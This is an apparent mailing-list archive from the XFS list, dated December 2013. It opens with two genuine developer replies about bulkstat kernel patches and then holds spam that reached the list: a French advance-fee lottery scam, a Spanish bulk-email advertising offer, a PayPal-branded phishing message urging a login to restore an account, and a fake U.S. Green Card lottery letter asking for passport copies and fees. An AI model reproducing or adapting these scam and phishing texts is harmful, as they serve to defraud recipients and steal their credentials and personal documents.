X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBV9pdfn025359 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 31 Dec 2013 09:51:40 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBV9pdK4019920 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 31 Dec 2013 09:51:39 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBV9pd3k019914; Tue, 31 Dec 2013 09:51:39 GMT Received: from [192.168.1.106] (/221.223.109.183) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 31 Dec 2013 01:51:38 -0800 Message-ID: <52C293A5.1000606@oracle.com> Date: Tue, 31 Dec 2013 17:51:33 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Mark Tinguely CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation References: <52BEB3E7.2080706@oracle.com> <52C1BCE5.1070707@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation In-Reply-To: <52C1BCE5.1070707@sgi.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388483501 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143587 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2013年12月31日 02:35, Mark Tinguely wrote: > On 12/28/13 05:20, Jeff Liu wrote: >> From: Jie Liu >> >> In xfs_bulkstat_single(), xfs_bulkstat_one() and xfs_bulkstat() might >> return different error if either call failed, we'd better return the >> proper error in this case. Moreover, the function argument done is >> useless in terms of xfs_ioc_bulkstat(), hence we can get rid of it. >> >> Signed-off-by: Jie Liu >> --- > > Yes, I know dmapi is not loved here but SGI still uses it and it wants > the done flag still.. My mistake. At that time, I noticed that there has comments about this in xfs_ioc_bulkstat(), i.e, /* done = 1 if there are more stats to get and if bulkstat */ /* should be called again (unused here, but used in dmapi) */ However, I failed to find out why it would be called by going through the dmapi source code... I'll keep this argument in next round of post. Thanks, -Jeff From jeff.liu@oracle.com Tue Dec 31 04:00:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9A0C27F3F for ; Tue, 31 Dec 2013 04:00:15 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2222DAC00D for ; Tue, 31 Dec 2013 02:00:15 -0800 (PST) X-ASG-Debug-ID: 1388484013-04cb6c537ead2770001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id QvtTcA2fZjo6GwwP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 31 Dec 2013 02:00:14 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBVA0C7J022722 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 31 Dec 2013 10:00:13 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBVA0Cw3006765 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 31 Dec 2013 10:00:12 GMT Received: from abhmp0020.oracle.com (abhmp0020.oracle.com [141.146.116.26]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBVA0BYn006709; Tue, 31 Dec 2013 10:00:11 GMT Received: from [192.168.1.106] (/221.223.109.183) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 31 Dec 2013 02:00:11 -0800 Message-ID: <52C295A8.2040104@oracle.com> Date: Tue, 31 Dec 2013 18:00:08 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Mark Tinguely CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 9/10] xfs: implement bulkstat per allocation group References: <52BEB47B.3090001@oracle.com> <52C1B900.8080002@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 9/10] xfs: implement bulkstat per allocation group In-Reply-To: <52C1B900.8080002@sgi.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388484013 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143587 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2013年12月31日 02:18, Mark Tinguely wrote: > On 12/28/13 05:22, Jeff Liu wrote: >> From: Jie Liu >> >> With xfs_perag_bulkstat(), we can return stat information in bulk by >> inode as per the given allocation group number and start inode number >> in it via a new ioctl(2) in the future. >> >> Refactor xfs_bulkstat() with it. >> >> Signed-off-by: Jie Liu >> --- > > > causes xfs/183 to assert for me: > > XFS: Assertion failed: fs_is_ok, file: /root/xfs/fs/xfs/xfs_itable.c, > line: 409 Oops!! I guess the assertion is failed at: + error = xfs_inobt_lookup(cur, 0, XFS_LOOKUP_GE, &i); + if (error) + break; + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); Which means I have to take care of those non-primary AGs on an new initialized empty-filesystem as there has no inode chunk has been allocated... Thanks, -Jeff From fabrice.guigon@meshnet.fr Tue Dec 31 04:21:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 06EE77F3F for ; Tue, 31 Dec 2013 04:21:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8D4E1AC003 for ; Tue, 31 Dec 2013 02:21:03 -0800 (PST) X-ASG-Debug-ID: 1388485261-04cb6c537bad35f0001-NocioJ Received: from flmg635.serveursdns.net (flmg635.serveursdns.net [217.76.144.36]) by cuda.sgi.com with ESMTP id hnHkd9aEVpswipCo for ; Tue, 31 Dec 2013 02:21:02 -0800 (PST) X-Barracuda-Envelope-From: fabrice.guigon@meshnet.fr X-Barracuda-Apparent-Source-IP: 217.76.144.36 Received: from localhost (localhost.localdomain [127.0.0.1]) by flmg635.serveursdns.net (Postfix) with ESMTP id 1A41D509B7C; Tue, 31 Dec 2013 11:21:00 +0100 (CET) X-Virus-Scanned: by amavisd-new Received: from mail.meshnet.fr (localhost.localdomain [127.0.0.1]) by flmg635.serveursdns.net (Postfix) with ESMTP id 4E3DB509A42; Tue, 31 Dec 2013 11:20:53 +0100 (CET) Received: from 188.64.130.67 by mail.meshnet.fr with HTTP; Tue, 31 Dec 2013 11:20:54 +0100 (CET) Message-ID: <59975.188.64.130.67.1388485254.squirrel@mail.meshnet.fr> Date: Tue, 31 Dec 2013 11:20:54 +0100 (CET) Subject: TR : VERNISSAGE NAVIDAD From: "Fabrice GUIGON" X-ASG-Orig-Subj: TR : VERNISSAGE NAVIDAD To: client@service.com User-Agent: SquirrelMail/1.4.8-5.el4_8.8 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Barracuda-Connect: flmg635.serveursdns.net[217.76.144.36] X-Barracuda-Start-Time: 1388485261 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.64 X-Barracuda-Spam-Status: No, SCORE=1.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143588 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 Bonjour ? Agréer les compliments les plus authentiques de la tribu Espagnol de Madrid à la conjoncture de son 50ème anniversaire promotionnel. Ceci est un courriel adressé pour vous notifier que vous venez de bénéficier du 2ème prix de 250.000 E. Pour en savoir plus d’éclaircicement et rentrer en possession de ce lot, veuillez contacter d’urgence le Cabinet de Maître MOURAD HEMIOUD ? Avocat accrédité Mandaté par le groupe NAVIDAD de MADRID par courrier ou téléphone aux cordonnées ci-dessous : E-mail : pro.recclamation.mourad@aol.fr Tél : +79524819945 Pour en savoir plus, merci de télécharger le prospectus joint en fichier PDF. Sincères félicitations ?. From fuka@fuka.com.br Tue Dec 31 04:30:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=FORGED_YAHOO_RCVD, FREEMAIL_FROM,FREEMAIL_REPLY,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9E9A07F3F for ; Tue, 31 Dec 2013 04:30:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 41606AC00A for ; Tue, 31 Dec 2013 02:30:04 -0800 (PST) X-ASG-Debug-ID: 1388485802-04bdf00fe23bcab0001-w1Z2WR Received: from vhosting1.netsite.com.br (vhosting1.netsite.com.br [189.112.34.213]) by cuda.sgi.com with ESMTP id iil26HVx0nyMexFY for ; Tue, 31 Dec 2013 02:30:02 -0800 (PST) X-Barracuda-Envelope-From: fuka@fuka.com.br X-Barracuda-Apparent-Source-IP: 189.112.34.213 Received: from mail.fuka.com.br ([186.56.196.129]) by vhosting1.netsite.com.br with MailEnable ESMTP; Tue, 31 Dec 2013 08:29:17 -0200 From: auodztli@yahoo.com To: linux-xfs@oss.sgi.com Subject: 31/12/2013 07:29:53 a.m. mejores ventas Date: 31 Dec 2013 07:29:55 -0300 X-ASG-Orig-Subj: 31/12/2013 07:29:53 a.m. mejores ventas Message-ID: <20131231072953.79CFA2899BF29D6F@yahoo.com> MIME-Version: 1.0 Disposition-Notification-To: lecturas@datafull.com Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_359AF978.64067A07" X-ME-Bayesian: 0.004406 X-Barracuda-Connect: vhosting1.netsite.com.br[189.112.34.213] X-Barracuda-Start-Time: 1388485802 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.41 X-Barracuda-Spam-Status: No, SCORE=1.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FORGED_YAHOO_RCVD, FORGED_YAHOO_RCVD_2, HTML_MESSAGE, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143588 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.00 HTML_MESSAGE BODY: HTML included in message 1.41 FORGED_YAHOO_RCVD_2 'From' yahoo.com does not match 'Received' headers ------=_NextPart_000_0012_359AF978.64067A07 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable apbzdteejy Hola.mi nombre es Roberto Hoy la situaci=F3n econ=F3mica est=E1 cada d=EDa mas dificil.Se lo que cues= ta=20 conseguir nuevas ventas y nuevos clientes. Por eso as=ED como llegue a vos con este mensaje,te vengo a ofrecer=20 mi sistema de mail-marketing.Puedo enviar la publicidad de tu=20 producto o servicio, y la misma ser=E1 recibida por tus potenciales clientes en sus=20 escritorios o en la palma de sus manos,es decir en sus=20 computadoras,o en sus celulares.Hoy el 90% usa celulares con G3 =F3 G4 y=20 est=E1n permanentemente conectados a internet,al igual que las tablet=20 y demas dispositivos. Pod=E9s probar mi sistema de env=EDos con una m=EDnima inversi=F3n,que siem= pre=20 resulta de retorno exitoso. Cuento con accesibles planes para todos los presupuestos.- Pod=E9s consultarme cuando gustes,ya sea llam=E1ndome al TE:011-4976- 4562. O mandame un mail a: rba_1951@datafull.com Para no recibir mas esta publicidad,manda un mail con el subjet=20 REMOVER a nodeseomasmails@terra.com ------=_NextPart_000_0012_359AF978.64067A07 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Llegue r=E1pidamente a nuevos clie

    respuesta inmediata

    llegue rapidamente a=20 nuevos clientes

    haga publicidad por envio de mai= ls

    minima inversion maximo benefici= o

     

     100.000 envios :$300.-

     

     250.000 envios :$600.-

     

     500.000 envios :$900.-

     

    tel=E9fono=20 fijo:011-4976-4562

     

     

    por=20 favor:no use la opcion responder

    para su consulta,mande un mail a:

     

    rba_1951@y= ahoo.com.ar

     

    quitar:mande un mail a:

    nodeseomasmails@terra.com

     

    ------=_NextPart_000_0012_359AF978.64067A07-- From adminftp@zebook.fr Tue Dec 31 14:29:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.3 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1673E29DF8 for ; Tue, 31 Dec 2013 14:29:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E983D304059 for ; Tue, 31 Dec 2013 12:29:37 -0800 (PST) X-ASG-Debug-ID: 1388521771-04cbb04169ae24f0001-NocioJ Received: from zebook.fr (xvm-23-5.ghst.net [92.243.23.5]) by cuda.sgi.com with ESMTP id GxuF7tZ0vV5KwWzp for ; Tue, 31 Dec 2013 12:29:32 -0800 (PST) X-Barracuda-Envelope-From: adminftp@zebook.fr X-Barracuda-Apparent-Source-IP: 92.243.23.5 Received: by zebook.fr (Postfix, from userid 1001) id DF0195C7; Tue, 31 Dec 2013 21:29:30 +0100 (CET) Date: Tue, 31 Dec 2013 21:29:30 +0100 To: xfs@oss.sgi.com From: =?UTF-8?Q?Paypal?= Subject: =?UTF-8?Q?Update_Account?= Message-ID: <704455c8e3ec9614a7ff2a6614942346@www.beta.zebook.com> X-ASG-Orig-Subj: =?UTF-8?Q?Update_Account?= X-Priority: 3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset="us-ascii" X-Barracuda-Connect: xvm-23-5.ghst.net[92.243.23.5] X-Barracuda-Start-Time: 1388521772 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.92 X-Barracuda-Spam-Status: No, SCORE=1.92 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA038b, BSF_SC0_SA430_FR4, HTML_IMAGE_RATIO_04, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143601 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 0.50 BSF_SC0_SA430_FR4 Custom Rule SA430_FR4 0.20 BSF_SC0_SA038b Custom Rule SA038b
    =20
    =20
    =3D""
    The preferred online payment, trusted by millions of buyers.= =A0
    =3D""
    =3D""
    3D""
    =3D"" =09 =09
    =3D""
    =3D"" 3D"PayPalImg"
    =3D""
    3D""
    3D""
    Notice of changes to the PayPal User Agreement. =3D""
    =3D""
    =3D""
    Dear Customer,
    =3D""
    We have recently encountered a problem in your account. Yo= ur account may get banned due infrequent logins. Please login once to updat= e your payment preferences and get back your account to normal state
    =3D""
    =3D"" 3D"See 3D""
    3D""
    =3D""
    =3D"" 3D"" =3D""
    Complete account setup
    =3D""
    Follow a few more steps to ensure your account is setup properly to acce= pt payments. Comp= lete setup
    =3D""
    =3D""
    =3D""
    =093D""
    Help Center= =20 =09=09=09=09=09=09=093D""=|3D"" Partner Direc= tory=20 =09=09=09=09=09=09=093D""=|3D"" Logo Center=20 =09=09=09=09=09=09=093D""=|3D"" Security=20 =09=09=09=09=09=09=093D""=|3D"" Business Cent= er
    =093D""
    =3D""
    3D""
    =09
    Copy= right =A9 2013 PayPal,= Inc. All rights reserved. PayPal is located at 2211 N. First St., San Jose= , CA 95131.
    =09




      
    =
    Case- Number: WAC201347984009F
    December- 20, 2013
      
      
    =
    Dear- Winner,
    Congratulation's!- You have been selected among the lu= cky winners of the U.S. Green- Card for fiscal year (2013-14)..Winners were= selected randomly (via) computer-draw-system of email extractions. We are = sending the winning letters through the selected- email- addresses. To rece= ive the green- card; you need to apply and obtain the U.S.- immigrant- visa= . The visa will permit you to travel to the United-States- to receive the g= reen- card.
      
    Please complete-forms DS-230. for y= ourself-and all accompanying family members which will be used to file your= immigrant-visa petition at the National- Visa- Center to process your visa= and schedule-your visa interview appointment at the U.S.- Embassy- nearest= to you for the issuance of your visa.
      
    Where Can I find forms DS-230?
    Download DS-230 form here-DS-230: C= lick the application- for Immigrant- Visa-n. <= span style=3D"font-weight: 700"><= a href=3D"http://www.state.gov/documents/organization/81807.pdf" rel=3D"nof= ollow" target=3D"_blank" style=3D"outline-width: medium; padding-bottom: 0p= x; padding-top: 0px; outline-style: none; padding-left: 0px; margin: 0px; o= utline-color: invert; padding-right: 0px; background-color: transparent">DS= -230 form >>

     
    Requirements:
    1. International-Passport:  Include the photo-page of your inte= rnational-passport (Only the principal-applicant). View- sample here -International-> passport 
     
    2. Passport-size-photograph: <= br /> Glue one passport size-photograph-f= or each person-mentioned in the-application at the top left corner of form = DS-230. View- sample here--
    <= strong>F passport> photo
    Photo instruction is-available> here
     
    Your application will be processed = at our Asia-Pacific region office.
    Address: South Sathorn Road Bangkok= , Thailand.
    Contact Person: George Thaksin
    Tel:  (+66)837103394
      
    How Can I Submit my-application? Submit-your-application to them-for= processing at this-email: <
    visaguide.st= ate.gov@america.hm  
    You should be prepared to pay your = immigrant visa fee of $330- at the Embassy on the day of your visa-intervie= w-appointment. The fees changes can be found here-(<= font id=3D"yiv1730920712yui_3_13_0_1_1383555547578_27128">CHANGE IN-PR= OCESSING FEES-FOR-VISAS TO THE-UNITED-STATES